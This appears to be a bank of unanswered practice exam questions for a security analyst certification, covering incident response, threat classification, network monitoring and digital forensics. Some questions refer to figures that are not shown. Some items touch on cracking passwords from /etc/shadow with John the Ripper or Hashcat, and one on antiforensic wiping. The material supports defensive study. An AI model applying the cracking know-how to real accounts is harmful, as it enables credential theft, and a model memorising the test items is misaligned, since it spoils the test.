No impact | 0
No impact to services | 20
Minimal impact to noncritical services | 35
Minimal impact to critical services | 40
Significant impact to noncritical services | 50
Denial of noncritical services | 60
Significant impact to critical services | 70
Denial of critical services or loss of control | 100

Nathan discovers a malware package on an end user workstation. What rating should he give this if he is considering organization impact based on the table shown?

No impact

No impact to services

Denial of noncritical services

Denial of critical services or loss of control

Nathan's organization uses a software-as-a-service (SaaS) tool to manage their customer mailing lists, which they use to inform customers of upcoming sales a week in advance. The organization's primary line of business software continues to function and merchandise can be sold. Due to a service outage, they are unable to add new customers to the list for a full business day. How should Nathan rate this local impact issue during the outage?

Minimal impact to noncritical services

Minimal impact to critical services

Significant impact to noncritical services

Denial of noncritical services

During an investigation into a compromised system, Nathan discovers signs of an advanced persistent threat (APT) resident in his organization's administrative systems. How should he classify this threat?

Significant impact to noncritical services

Denial of noncritical services

Significant impact to critical services

Denial of critical services or loss of control

Adam is reviewing a Wireshark packet capture in order to perform protocol analysis, and he notes the following data in the Wireshark protocol hierarchy statistics. What percentage of traffic is most likely encrypted web traffic?

85.9 percent

1.7 percent

20.3 percent

1.9 percent

Annie is reviewing a packet capture that she believes includes the download of malware. What host should she investigate further as the source of the malware based on the activity shown in the following image from her packet analysis efforts?

172.17.8.8

49.51.172.56

172.17.8.172

56.172.51.49

While reviewing IPS logs, Annie finds the following entry:

ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)

What should her next action be?

Run an antimalware scan of the system associated with the detection

Block inbound traffic from the external system associated with the infection

Block outbound traffic to the external system associated with the infection

Nothing, as this is a false positive due to an expired certificate

Steve uploads a malware sample to an analysis tool and receives the following messages:

>Executable file was dropped: C:\Logs\mffcae1.exe
>Child process was created, parent C:\Windows\system32\cmd.exe
>mffcae1.exe connects to unusual port
>File downloaded: cx99.exe

If he wanted to observe the download behavior himself, what is the best tool to capture detailed information about what occurs?

An antimalware tool

Wireshark

An IPS

Network flows

Abdul is analyzing proxy logs from servers that run in his organization and notices two proxy log servers have entries for similar activities that always occur one hour apart from each other. Both proxy servers are in the same data center, and the activity is part of a normal evening process that runs at 7 p.m. One proxy server records the data at 7 p.m., one records the entry at 6 p.m. What issue has Abdul likely encountered?

A malware infection emulating a legitimate process

An incorrect time zone setting

A flaw in the automation script

A log entry error

Eric is performing threat intelligence work and wants to characterize a threat actor that his organization has identified. The threat actor is similar to the group known as Anonymous and has targeted organizations for political reasons in the past. How should he characterize this threat actor?

Unwitting insiders

Unknown

APT

Hacktivist

Melissa is using the US-CERT's scale to measure the impact of the location of observed activity by a threat actor. Which of the following should be the highest rated threat activity location?

Critical system DMZ

Business network

Business DMZ

Safety systems

Gavin wants to deploy a NAC solution. Which of the following is a validation technique that an agent-based NAC system can use?

Current operating system patch status

Network VLAN or security zone assignment

Antimalware or antivirus update status

All of the above

What information is used to determine which systems can connect to a network port protected by port security?

IP address

Hostname

MAC address

UserID and password

What do DLP systems use to classify data and to ensure that it remains protected?

Data signatures

Business rules

Data egress filters

Data at rest

Jana wants to configure her IPS to block a recently discovered denial of service condition that impacts her Apache web server. What is the most effective method of implementing this quickly if her IPS is provided by a commercial vendor?

Research the denial-of-service attack and write a custom detection rule

Block all traffic to the web servers until a patch is installed

Configure a signature-based rule using a signature provided by the vendor

Research the denial-of-service attack, and then use the first released exploit proof of concept to build a signature to detect the attack

Zhi wants to capture network flows from her network as shown in the following image. Where should she collect network flows to balance maximum visibility without collecting unnecessary information?

Point A

Point B

Point C

Point D

Benicio wants to implement a tool for all the workstations and laptops in his company that can combine behavioral detection of indicators of attack based on current threat intelligence with real-time visibility into the systems. What sort of tool should he select?

An IPS

An EDR

A CRM

A UEBA

Benita needs to change the permissions on a file named public_secrets.txt stored on a Linux server, and she wants to make the file readable to all users on the system.

The file is currently set to:

rwx------

What command can she use to do this without providing the ability to execute or write to the file?

chmod 777 public_secrets.txt

chmod 744 public_secrets.txt

chmod public_secrets.txt 777

chmod 447 public_secrets.txt

Eric wants to analyze a malware binary in the safest way possible. Which of the following methods has the least likelihood of allowing the malware to cause problems?

Run the malware on an isolated VM

Perform dynamic analysis of the malware in a sandbox

Perform static analysis of the malware

Run the malware in a container service

Tom wants to improve his detection capabilities for his software-as-a-service (SaaS) environment. What technology is best suited to give him a view of usage, data flows, and other details for cloud environments?

EDR

CASB

IDS

SIEM

Chuck wants to identify a tool to provision servers, create virtual servers and assign storage to them, and configure networking and security policies. What type of tool should he consider?

Scripting

APIs

Workflow orchestration

SCAP

What advantages does TAXII provide for threat feed combination?

Interoperability between security tools

Confidentiality and integrity of data

Greater speed for sharing of data

All of the above

A production environment with “blue” and “green” deployments in parallel, with one live and one updated to the newest code, is an example of what type of pipeline?

Continuous integration

Waterfall

Spiral

Continuous delivery

Joseph's antimalware package detects new malware by examining code for suspicious properties. What type of technique is this an example of?

Fagan code inspection

Heuristic analysis

Machine learning

Artificial intelligence

Isaac wants to identify known good behavior patterns for all of the applications that his organization uses. If he doesn't want to have a staff member review logs and behaviors for every application in every scenario it is run, what type of analytical tool would best be suited to dealing with this volume and type of data?

Trend analysis

Machine learning

Manual analysis

Endpoint analysis

Juan wants to audit filesystem activity in Windows and configures Windows filesystem auditing. What setting can he set to know if a file was changed or not using Windows file auditing?

Set Detect Change

Set Validate File Versions

Set Audit Modifications

None of the above

Naomi wants to analyze URLs found in her passive DNS monitoring logs to find DGA (domain generation algorithm) generated command and control links. What techniques are most likely to be useful for this?

WHOIS lookups and NXDOMAIN queries of suspect URLs

Querying URL whitelists

DNS probes of command-and-control networks

Natural language analysis of domain names

Derek's organization has been working to recover from a recent malware infection that caused outages across the organization during an important part of their business cycle. In order to properly triage, what should Derek pay the most attention to first?

The immediate impact on operations so that his team can restore functionality

The total impact of the event so that his team can provide an accurate final report

The immediate impact on operations so that his team can identify the likely threat actor

The total impact of the event so that his team can build a new threat model for future use

Kathleen wants to ensure that her team of security analysts sees important information about the security status of her organization whenever they log in to the SIEM. What part of a SIEM is designed to provide at-a-glance status information?

The reporting engine

Email reports

The dashboard

The ruleset

Lucca is reviewing bash command history logs on a system that he suspects may have been used as part of a breach. He discovers the following grep command run inside of the /users directory by an administrative user. What will the command find?

Grep -r "sudo" /home/users/ | grep "bash.log"

All occurrences of the sudo command on the system

All occurrences of root logins by users

All occurrences of the sudo command in bash log files in user home directories

All lines that do not contain the word sudo or bash.log in user directories

Munju wants to test her organization's email for malicious payloads. What type of tool should she select to perform this action?

An antimalware tool

A hashing algorithm

An IPS

A UEBA

Chapter 4
Domain 4.0: Incident Response

EXAM OBJECTIVES COVERED IN THIS CHAPTER:

4.1 Explain the importance of the incident response process.

Communication plan

Response coordination with relevant entities

Factors contributing to data criticality

4.2 Given a scenario, apply the appropriate incident response procedure.

Preparation

Detection and analysis

Containment

Eradication and recovery

Post-incident activities

4.3 Given an incident, analyze potential indicators of compromise.

Network-related

Host-related

Application-related

4.4 Given a scenario, utilize basic digital forensics techniques.

Network

Endpoint

Mobile

Cloud

Virtualization

Legal hold

Procedures

Hashing

Carving

Data acquisition

If Lucca wants to validate the application files he has downloaded from the vendor of his application, what information should he request from them?

File size and file creation date

MD5 hash

Private key and cryptographic hash

Public key and cryptographic hash

Jeff discovers multiple JPEG photos during his forensic investigation of a computer involved in an incident. When he runs exiftool to gather file metadata, which information is not likely to be part of the images even if they have complete metadata intact?

GPS location

Camera type

Number of copies made

Correct date/timestamp

Chris wants to run John the Ripper against a Linux system's passwords. What does he need to attempt password recovery on the system?

Both /etc/passwd and /etc/shadow

/etc/shadow

/etc/passwd

Chris cannot recover passwords; only hashes are stored.

Charles needs to review the permissions set on a directory structure on a Window system he is investigating to determine whether the system contains unauthorized privileges. Which Sysinternals tool will provide him with this functionality?

DiskView

AccessEnum

du

AccessChk

John has designed his network as shown here and places untrusted systems that want to connect to the network into the Guests network segment. What is this type of segmentation called?

Proactive network segmentation

Isolation

Quarantine

Removal

The organization that Jamal works for classifies security related events using NIST's standard definitions. Which classification should he use when he discovers key logging software on one of his frequent business travelers' laptop?

An event

An adverse event

A security incident

A policy violation

Mei is planning to deploy rogue access point detection capabilities for her network. If she wants to deploy the most effective detection capability she can, which of the following detection types should she deploy first?

Authorized MAC

Authorized SSID

Authorized channel

Authorized vendor

Dan is designing a segmented network that places systems with different levels of security requirements into different subnets with firewalls and other network security devices between them. What phase of the incident response process is Dan in?

Postincident activity

Detection and analysis

Preparation

Containment, eradication, and recovery

The company that Brian works for processes credit cards and is required to be compliant with PCI DSS. If Brian's company experiences a breach of card data, what type of disclosure will they be required to provide?

Notification to local law enforcement

Notification to their acquiring bank

Notification to federal law enforcement

Notification to Visa and MasterCard

Lauren wants to create a backup of Linux permissions before making changes to the Linux workstation she is attempting to remediate. What Linux tool can she use to back up the permissions of an entire directory on the system?

chbkup

getfacl

aclman

There is not a common Linux permission backup tool.

While working to restore systems to their original configuration after a long-term APT compromise, Manish has three options:

He can restore from a backup and then update patches on the system.

He can rebuild and patch the system using original installation media and application software using his organization's build documentation.

He can remove the compromised accounts and rootkit tools and then fix the issues that allowed the attackers to access the systems.

Which option should Manish choose in this scenario?

Option A

Option B

Option C

None of the above. Manish should hire a third party to assess the systems before proceeding.

Jessica wants to access a macOS FileVault 2–encrypted drive. Which of the following methods is not a possible means of unlocking the volume?

Change the FileVault key using a trusted user account.

Retrieve the key from memory while the volume is mounted.

Acquire the recovery key.

Extract the keys from iCloud.

Susan discovers the following log entries that occurred within seconds of each other in her Squert (a Sguil web interface) console. What have her network sensors most likely detected?

A failed database connection from a server

A denial-of-service attack

A port scan

A misconfigured log source

Frank wants to log the creation of user accounts on a Windows workstation. What tool should he use to enable this logging?

secpol.msc

auditpol.msc

regedit

Frank does not need to make a change; this is a default setting.

If Suki wants to purge a drive, which of the following options will accomplish her goal?

Cryptographic erase

Reformat

Overwrite

Repartition

Cynthia wants to build scripts to detect malware beaconing behavior. Which of the following is not a typical means of identifying malware beaconing behavior on a network?

Persistence of the beaconing

Beacon protocol

Beaconing interval

Removal of known traffic

While performing post-rebuild validation efforts, Scott scans a server from a remote network and sees no vulnerabilities. Joanna, the administrator of the machine, runs a scan and discovers two critical vulnerabilities and five moderate issues. What is most likely causing the difference in their reports?

Different patch levels were used during the scans.

They are scanning through a load balancer.

There is a firewall between the remote network and the server.

Scott or Joanna ran the vulnerability scan with different settings.

As part of his organization's cooperation in a large criminal case, Adam's forensic team has been asked to send a forensic image of a highly sensitive compromised system in RAW format to an external forensic examiner. What steps should Adam's team take prior to sending a drive containing the forensic image?

Encode in EO1 format and provide a hash of the original file on the drive.

Encode in FTK format and provide a hash of the new file on the drive.

Encrypt the RAW file and transfer a hash and key under separate cover.

Decrypt the RAW file and transfer a hash under separate cover.

Mika wants to analyze the contents of a drive without causing any changes to the drive. What method is best suited to ensuring this?

Set the “read-only” jumper on the drive.

Use a write blocker.

Use a read blocker.

Use a forensic software package.

What type of forensic investigation–related form is shown here?

Chain of custody

Report of examination

Forensic discovery log

Policy custody release

Which one of the following file manipulation commands is not used to display the contents of a file?

head

tail

chmod

cat

Eric has access to a full suite of network monitoring tools and wants to use appropriate tools to monitor network bandwidth consumption. Which of the following is not a common method of monitoring network bandwidth usage?

SNMP

Portmon

Packet sniffing

NetFlow

James wants to determine whether other Windows systems on his network are infected with the same malware package that he has discovered on the workstation he is analyzing. He has removed the system from his network by unplugging its network cable, as required by corporate policy. He knows that the system has previously exhibited beaconing behavior and wants to use that behavior to identify other infected systems. How can he safely create a fingerprint for this beaconing without modifying the infected system?

Plug the system in to the network and capture the traffic quickly at the firewall using Wireshark or tcpdump.

Plug the system into an isolated switch and use a span port or tap and Wireshark/tcpdump to capture traffic.

Review the ARP cache for outbound traffic.

Review the Windows Firewall log for traffic logs.

Fred is attempting to determine whether a user account is accessing other systems on his network and uses lsof to determine what files the user account has open. What information should he identify when faced with the following lsof output?

The user account demo is connected from remote.host.com to a local system.

The user demo has replaced the /bash executable with one they control.

The user demo has an outbound connection to remote.host.com.

The user demo has an inbound SSH connection and has replaced the Bash binary.

After completing an incident response process and providing a final report to management, what step should Casey use to identify improvement to her incident response plan?

Update system documentation.

Conduct a lessons learned session.

Review patching status and vulnerability scans.

Engage third-party consultants.

The senior management at the company that Kathleen works for is concerned about rogue devices on the network. If Kathleen wants to identify rogue devices on her wired network, which of the following solutions will quickly provide the most accurate information?

A discovery scan using a port scanner

Router and switch-based MAC address reporting

A physical survey

Reviewing a central endpoint administration tool

While investigating a system error, Lauren runs the df command on a Linux box that she is the administrator for. What problem and likely cause should she identify based on this listing?

        # df -h /var/
        Filesystem           Size  Used    Avail Use% Mounted on
        /dev/sda1            40G   11.2G   28.8  28%  /
        /dev/sda2            3.9G  3.9G    0     100% /var

The var partition is full and needs to be wiped.

Slack space has filled up and needs to be purged.

The var partition is full, and logs should be checked.

The system is operating normally and will fix the problem after a reboot.

In order, which set of Linux permissions are least permissive to most permissive?

777, 444, 111

544, 444, 545

711, 717, 117

111, 734, 747

As Lauren prepares her organization's security practices and policies, she wants to address as many threat vectors as she can using an awareness program. Which of the following threats can be most effectively dealt with via awareness?

Attrition

Impersonation

Improper usage

Web

Scott wants to recover user passwords for systems as part of a forensic analysis effort. If he wants to test for the broadest range of passwords, which of the following modes should he run John the Ripper in?

Single crack mode

Wordlist mode

Incremental mode

External mode

During a forensic investigation, Lukas discovers that he needs to capture a virtual machine that is part of the critical operations of his company's website. If he cannot suspend or shut down the machine for business reasons, what imaging process should he follow?

Perform a snapshot of the system, boot it, suspend the copied version, and copy the directory it resides in.

Copy the virtual disk files and then use a memory capture tool.

Escalate to management to get permission to suspend the system to allow a true forensic copy.

Use a tool like the Volatility Framework to capture the live machine completely.

Mika, a computer forensic examiner, receives a PC and its peripherals that were seized as forensic evidence during an investigation. After she signs off on the chain of custody log and starts to prepare for her investigation, one of the first things she notes is that each cable and port was labeled with a color-coded sticker by the on-site team. Why are the items labeled like this?

To ensure chain of custody

To ensure correct reassembly

To allow for easier documentation of acquisition

To tamper-proof the system

Laura needs to create a secure messaging capability for her incident response team. Which of the following methods will provide her with a secure messaging tool?

Text messaging

A Jabber server with TLS enabled

Email with TLS enabled

A messaging application that uses the Signal protocol

While reviewing her Nagios logs, Selah discovers the error message shown here. What should she do about this error?

Check for evidence of a port scan.

Review the Apache error log.

Reboot the server to restore the service.

Restart the Apache service.

Lakshman needs to sanitize hard drives that will be leaving his organization after a lease is over. The drives contained information that his organization classifies as sensitive data that competitors would find valuable if they could obtain it. Which choice is the most appropriate to ensure that data exposure does not occur during this process?

Clear, validate, and document.

Purge the drives.

Purge, validate, and document.

The drives must be destroyed to ensure no data loss.

Selah is preparing to collect a forensic image for a Macintosh computer running the Mojave operating system. What hard drive format is she most likely to encounter?

FAT32

MacFAT

APFS

HFS+

During a forensic analysis of an employee's computer as part of a human resources investigation into misuse of company resources, Tim discovers a program called Eraser installed on the PC. What should Tim expect to find as part of his investigation?

A wiped C: drive

Antiforensic activities

All slack space cleared

Temporary files and Internet history wiped

Jessica wants to recover deleted files from slack space and needs to identify where the files begin and end. What is this process called?

Slacking

Data carving

Disk recovery

Header manipulation

Latisha is the IT manager for a small company and occasionally serves as the organization's information security officer. Which of the following roles should she include as the leader of her organization's CSIRT?

Her lead IT support staff technician

Her organization's legal counsel

A third-party IR team lead

She should select herself.

During her forensic analysis of a Windows system, Cynthia accesses the registry and checks \\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogin (as seen in the image below). What domain was the system connected to, and what was the username that would appear at login?

Admin, administrator

No domain, admin

Legal, admin

Corporate, no default username

Latisha wants to ensure that the two most commonly used methods for preventing Linux buffer overflow attacks are enabled for the operating system she is installing on her servers. What two related technologies should she investigate to help protect her systems?

The NX bit and ASLR

StackAntismash and DEP

Position-independent variables and ASLR

DEP and the position-independent variables

Angela is attempting to determine when a user account was created on a Windows 10 workstation. What method is her best option if she believes the account was created recently?

Check the System log.

Check the user profile creation date.

Check the Security log.

Query the registry for the user ID creation date.

Alex suspects that an attacker has modified a Linux executable using static libraries. Which of the following Linux commands is best suited to determining whether this has occurred?

file

stat

strings

grep

Lauren wants to detect administrative account abuse on a Windows server that she is responsible for. What type of auditing permissions should she enable to determine whether users with administrative rights are making changes?

Success

Fail

Full control

All

Cameron believes that the Ubuntu Linux system that he is restoring to service has already been fully updated. What command can he use to check for new updates, and where can he check for the history of updates on his system?

apt-get -u upgrade, /var/log/apt

rpm -i upgrade, /var/log/rpm

upgrade -l, /var/log/upgrades

apt-get install -u; Ubuntu Linux does not provide a history of updates.

Adam wants to quickly crack passwords from a Windows system. Which of the following tools will provide the fastest results in most circumstances?

John the Ripper

Cain and Abel

Ophcrack

Hashcat

Because of external factors, Eric has only a limited time period to collect an image from a workstation. If he collects only specific files of interest, what type of acquisition has he performed?

Logical

Bit-by-bit

Sparse

None of the above

Kelly sees high CPU utilization in the Windows Task Manager, as shown here, while reviewing a system's performance issues. If she wants to get a detailed view of the CPU usage by application, with PIDs and average CPU usage, what native Windows tool can she use to gather that detail?

Resource Monitor

Task Manager

iperf

Perfmon

During a forensic investigation, Kwame records information about each drive, including where it was acquired, who made the forensic copy, the MD5 hash of the drive, and other details. What term describes the process Kwame is using as he labels evidence with details of who acquired and validated it?

Direct evidence

Circumstantial evidence

Incident logging

Chain of custody

Roger's monitoring system provides Windows memory utilization reporting. Use the chart shown here to determine what actions Roger should take based on his monitoring.

The memory usage is stable and can be left as it is.

The memory usage is high and must be addressed.

Roger should enable automatic memory management.

There is not enough information to make a decision.

NIST defines five major types of threat information types in NIST SP 800-150, “Guide to Cyber Threat Information Sharing.”

Indicators, which are technical artifacts or observables that suggest an attack is imminent, currently underway, or compromise may have already occurred

Tactics, techniques, and procedures that describe the behavior of an actor

Security alerts like advisories and bulletins

Threat intelligence reports that describe actors, systems, and information being targeted and the methods being used

Tool configurations that support collection, exchange, analysis, and use of threat information

Which of these should Frank seek out to help him best protect the midsize organization he works for against unknown threats?

1, 2, and 5

1, 3, and 5

2, 4, and 5

1, 2, and 4

Vlad wants to determine whether the user of a company-owned laptop accessed a malicious wireless access point. Where can he find the list of wireless networks that the system knows about?

The registry

The user profile directory

The wireless adapter cache

Wireless network lists are not stored after use.

Saanvi wants to prevent buffer overflows from succeeding against his organization's web applications. What technique is best suited to preventing this type of attack from succeeding?

User input canonicalization

User input size checking

Format string validation

Buffer overwriting

Susan needs to perform forensics on a virtual machine. What process should she use to ensure she gets all of the forensic data she may need?

Suspend the machine and copy the contents of the directory it resides in.

Perform a live image of the machine.

Suspend the machine and make a forensic copy of the drive it resides on.

Turn the virtual machine off and make a forensic copy of it.

Allison wants to access Chrome logs as part of a forensic investigation. What format is information about cookies, history, and saved form fill information saved in?

SQLite

Plain text

Base64 encoded text

NoSQL

While Chris is attempting to image a device, he encounters write issues and cannot write the image as currently set (see image below). What issue is he most likely encountering?

The files need to be compressed.

The destination drive is formatted FAT32.

The destination drive is formatted NTFS.

The files are encrypted.

Christina’s organization recently suffered an incident where an attacker connected to their wireless network. In response, she is configuring ongoing monitoring for rogue devices on her monitoring system and wants to select an appropriate reset condition for rogue MAC address alerts. Which of the options shown here is best suited to handling rogue devices if she wants to avoid creating additional work for her team?

Reset when no longer true.

Reset after a time period.

No reset condition; trigger each time the condition is met.

No reset action; manually remove the alert from the active alerts list.

Saanvi needs to validate the MD5 checksum of a file on a Windows system to ensure that there were no unauthorized changes to the binary file. He is not allowed to install any programs and cannot run files from external media or drives. What Windows utility can he use to get the MD5 hash of the file?

md5sum

certutil

sha1sum

hashcheck

Which of the following is not an important part of the incident response communication process?

Limiting communication to trusted parties

Disclosure based on public feedback

Using a secure method of communication

Preventing accidental release of incident-related information

Deepa is diagnosing major network issues at a large organization and sees the following graph in her PRTG console on the “outside” interface of her border router. What can Deepa presume has occurred?

The network link has failed.

A DDoS is in progress.

An internal system is transferring a large volume of data.

The network link has been restored.

Which of the following commands is not useful for determining the list of network interfaces on a Linux system?

ifconfig

netstat -i

ip link show

intf -q

What Windows memory protection methodology is shown here?

DEP

ASLR

StackProtect

MemShuffle

Forensic investigation shows that the target of an investigation used the Windows Quick Format command to attempt to destroy evidence on a USB thumb drive. Which of the NIST sanitization techniques has the target of the investigation used in their attempt to conceal evidence?

Clear

Purge

Destroy

None of the above

Angela wants to use her network security device to detect potential beaconing behavior. Which of the following options is best suited to detecting beaconing using her network security device?

Antivirus definitions

File reputation

IP reputation

Static file analysis

During an incident response process, Susan plugs a system back into the network, allowing it normal network access. What phase of the incident response process is Susan performing?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident activity

A server in the datacenter that Chris is responsible for monitoring unexpectedly connects to an off-site IP address and transfers 9 GB of data to the remote system. What type of monitoring should Chris enable to best assist him in detecting future events of this type?

Flow logs with heuristic analysis

SNMP monitoring with heuristic analysis

Flow logs with signature-based detection

SNMP monitoring with signature-based detection

Mei's team has completed the initial phases of their incident response process and is assessing the time required to recover from the incident. Using the NIST recoverability effort categories, the team has determined that they can predict the time to recover but will require additional resources. How should she categorize this using the NIST model?

Regular

Supplemented

Extended

Not recoverable

Which of the following mobile device forensic techniques is not a valid method of isolation during forensic examination?

Use a forensic SIM.

Buy and use a forensic isolation appliance.

Place the device in an antistatic bag.

Put the device in airplane mode.

Rick wants to monitor permissions and ownership changes of critical files on the Red Hat Linux system he is responsible for. What Linux tool can he use to do this?

watchdog

auditctl

dirwatch

monitord

Janet is attempting to conceal her actions on a company-owned computer. As part of her cleanup attempts, she deletes all the files she downloaded from a corporate file server using a browser in incognito mode. How can a forensic investigator determine what files she downloaded?

Network flows

SMB logs

Browser cache

Drive analysis

Jose is aware that an attacker has compromised a system on his network but wants to continue to observe the attacker's efforts as they continue their attack. If Jose wants to prevent additional impact on his network while watching what the attacker does, what containment method should he use?

Removal

Isolation

Segmentation

Detection

When Abdul arrived at work this morning, he found an email in his inbox that read, “Your systems are weak; we will own your network by the end of the week.” How would he categorize this sign of a potential incident if he was using the NIST SP 800-61 descriptions of incident signs?

An indicator

A threat

A risk

A precursor

During an incident response process, Cynthia conducts a lessons learned review. What phase of the incident response process is she in?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident recovery

As part of his incident response program, Allan is designing a playbook for zero-day threats. Which of the following should not be in his plan to handle them?

Segmentation

Patching

Using threat intelligence

Whitelisting

As the CISO of her organization, Mei is working on an incident classification scheme and wants to base her design on NIST's definitions. Which of the following options should she use to best describe a user accessing a file that they are not authorized to view?

An incident

An event

An adverse event

A security incident

Fred wants to identify digital evidence that can place an individual in a specific place at a specific time. Which of the following types of digital forensic data is not commonly used to attempt to document physical location at specific times?

Cell phone GPS logs

Photograph metadata

Cell phone tower logs

Microsoft Office document metadata

Kai has completed the validation process of her media sanitization efforts and has checked a sample of the drives she had purged using a built-in cryptographic wipe utility. What is her next step?

Resample to validate her testing.

Destroy the drives.

Create documentation.

She is done and can send the drives on for disposition.

In his role as a small company's information security manager, Mike has a limited budget for hiring permanent staff. Although his team can handle simple virus infections, he does not currently have a way to handle significant information security incidents. Which of the following options should Mike investigate to ensure that his company is prepared for security incidents?

Outsource to a third-party SOC

Create an internal SOC

Hire an internal incident response team

Outsource to an incident response provider

The Stuxnet attack relied on engineers who transported malware with them, crossing the air gap between networks. What type of threat is most likely to cross an air-gapped network?

Email

Web

Removable media

Attrition

While reviewing his network for rogue devices, Dan notes that a system with MAC address D4:BE:D9:E5:F9:18 has been connected to a switch in one of the offices in his building for three days. What information can this provide Dan that may be helpful if he conducts a physical survey of the office?

The operating system of the device

The user of the system

The vendor who built the system

The type of device that is connected

Bohai wants to ensure that media has been properly sanitized. Which of the following options properly lists sanitization descriptions from least to most effective?

Purge, clear, destroy

Eliminate, eradicate, destroy

Clear, purge, destroy

Eradicate, eliminate, destroy

Degaussing is an example of what form of media sanitization?

Clearing

Purging

Destruction

It is not a form of media sanitization.

While reviewing storage usage on a Windows system, Brian checks the volume shadow copy storage as shown here:

        C:\WINDOWS\system32>vssadmin list Shadowstorage
        vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
        (C) Copyright 2001-2013 Microsoft Corp.
        Shadow Copy Storage association
           For volume: (C:)\\?\Volume{c3b53dae-0e54-13e3-97ab-806e6f6e69633}\
           Shadow Copy Storage volume: (C:)\\?\Volume{c3b53dae-0e54-13e3-97ab-806e6f6e6963}\
           Used Shadow Copy Storage space: 25.6 GB (2%)
           Allocated Shadow Copy Storage space: 26.0 GB (2%)
           Maximum Shadow Copy Storage space: 89.4 GB (10%)

What purpose does this storage serve, and can he safely delete it?

It provides a block-level snapshot and can be safely deleted.

It provides secure hidden storage and can be safely deleted.

It provides secure hidden storage and cannot be safely deleted.

It provides a block-level snapshot and cannot be safely deleted.

Near the end of a typical business day, Suki is notified that her organization's email servers have been blacklisted because of email that appears to originate from her domain. What information does she need to start investigating the source of the spam emails?

Firewall logs showing SMTP connections

The SMTP audit log from her email server

The full headers of one of the spam messages

Network flows for her network

Lauren recovers a number of 16GB and 32GB microSD cards during a forensic investigation. Without checking them manually, what filesystem type is she most likely to find them formatted in as if they were used with a digital camera?

RAW

FAT16

FAT32

APFS

While checking for bandwidth consumption issues, Bohai uses the ifconfig command on the Linux box that he is reviewing. He sees that the device has sent less than 4 GB of data, but his network flow logs show that the system has sent over 20GB. What problem has Bohai encountered?

A rootkit is concealing traffic from the Linux kernel.

Flow logs show traffic that does not reach the system.

ifconfig resets traffic counters at 4 GB.

ifconfig only samples outbound traffic and will not provide accurate information.

After arriving at an investigation site, Brian determines that three powered-on computers need to be taken for forensic examination. What steps should he take before removing the PCs?

Power them down, take pictures of how each is connected, and log each system in as evidence.

Take photos of each system, power them down, and attach a tamper-evident seal to each PC.

Collect live forensic information, take photos of each system, and power them down.

Collect a static drive image, validate the hash of the image, and securely transport each system.

In his role as a forensic examiner, Lukas has been asked to produce forensic evidence related to a civil case. What is this process called?

Criminal forensics

E-discovery

Cyber production

Civil tort

During their organization's incident response preparation, Manish and Linda are identifying critical information assets that the company uses. Included in their organizational data sets is a list of customer names, addresses, phone numbers, and demographic information. How should Manish and Linda classify this information?

PII

Intellectual property

PHI

PCI DSS

As Mika studies her company's computer forensics playbook, she notices that forensic investigators are required to use a chain of custody form. What information would she record on that form if she was conducting a forensic investigation?

The list of individuals who made contact with files leading to the investigation

The list of former owners or operators of the PC involved in the investigation

All individuals who work with evidence in the investigation

The police officers who take possession of the evidence

Scott needs to ensure that the system he just rebuilt after an incident is secure. Which type of scan will provide him with the most useful information to meet his goal?

An authenticated vulnerability scan from a trusted internal network

An unauthenticated vulnerability scan from a trusted internal network

An authenticated scan from an untrusted external network

An unauthenticated scan from an untrusted external network

What is the primary role of management in the incident response process?

Leading the CSIRT

Acting as the primary interface with law enforcement

Providing authority and resources

Assessing impact on stakeholders

While reviewing his OSSEC SIEM logs, Chris notices the following entries. What should his next action be if he wants to quickly identify the new user's creation date and time?

Check the user.log for a new user.

Check syslog for a new user.

Check /etc/passwd for a new user.

Check auth.log for a new user.

Jessica wants to track the changes made to the registry and filesystem while running a suspect executable on a Windows system. Which Sysinternals tool will allow her to do this?

App Monitor

Resource Tracker

Process Monitor

There is no Sysinternals tool with this capability.

Max wants to improve the effectiveness of the incident analysis process he is responsible for as the leader of his organization's CSIRT. Which of the following is not a commonly recommended best practice based on NIST's guidelines?

Profile networks and systems to measure the characteristics of expected activity.

Perform event correlation to combine information from multiple sources.

Maintain backups of every system and device.

Capture network traffic as soon as an incident is suspected.

NIST describes four major phases in the incident response cycle. Which of the following is not one of the four?

Containment, eradication, and recovery

Notification and communication

Detection and analysis

Preparation

Charles wants to perform memory forensics on a Windows system and wants to access pagefile.sys. When he attempts to copy it, he receives the following error. What access method is required to access the page file?

Run Windows Explorer as an administrator and repeat the copy.

Open the file using fmem.

Run cmd.exe as an administrator and repeat the copy.

Shut the system down, remove the drive, and copy it from another system.

Stefan wants to prevent evil twin attacks from working on his wireless network. Which of the following is not a useful method for detecting evil twins?

Check for BSSID.

Check the SSID.

Check the attributes (channel, cipher, authentication method).

Check for tagged parameters like the organizational unique identifier.

Where is slack space found in the following Windows partition map?

The System Reserved partition

The System Reserved and Unallocated partitions

The System Reserved and C: partitions

The C: and unallocated partitions

Luke needs to verify settings on a macOS computer to ensure that the configuration items he expects are set properly. What type of file is commonly used to store configuration settings for macOS systems?

The registry

.profile files

Plists

.config files

Ty needs to determine the proper retention policy for his organization's incident data. If he wants to follow common industry practices and does not have specific legal or contractual obligations that he needs to meet, what timeframe should he select?

30 days

90 days

1 to 2 years

7 years

The system that Alice has identified as the source of beaconing traffic is one of her organization's critical e-commerce servers. To maintain her organization's operations, she needs to quickly restore the server to its original, uncompromised state. What criterion is most likely to be impacted the most by this action?

Damage to the system or service

Service availability

Ability to preserve evidence

Time and resources needed to implement the strategy

After law enforcement was called because of potential criminal activity discovered as part of a forensic investigation, the officers on the scene seized three servers. When can Joe expect his servers to be returned?

After 30 days, which provides enough time for a reasonable imaging process

After 6 months, as required by law

After 1 year, as most cases resolve in that amount of time

Joe should not plan on a timeframe for return.

Piper wants to create a forensic image that third-party investigators can use but does not know what tool the third-party investigation team that her company intends to engage will use. Which of the following forensic formats should she choose if she wants almost any forensic tool to be able to access the image?

E01

AFF

RAW

AD1

After Janet's attempts to conceal her downloads of important corporate information were discovered, forensic investigators learned that she frequently copied work files to a USB drive. Which of the following is not a possible way to manually check her Windows workstation for a list of previously connected USB drives?

Check the security audit logs.

Check the setupapi log file.

Search the registry.

Check the user's profile.

As part of his forensic investigation, Scott intends to make a forensic image of a network share that is mounted by the PC that is the focus of his investigation. What information will he be unable to capture?

File creation dates

Deleted files

File permission data

File metadata

NIST SP 800-61 identifies six outside parties that an incident response team will typically communicate with. Which of the following is not one of those parties?

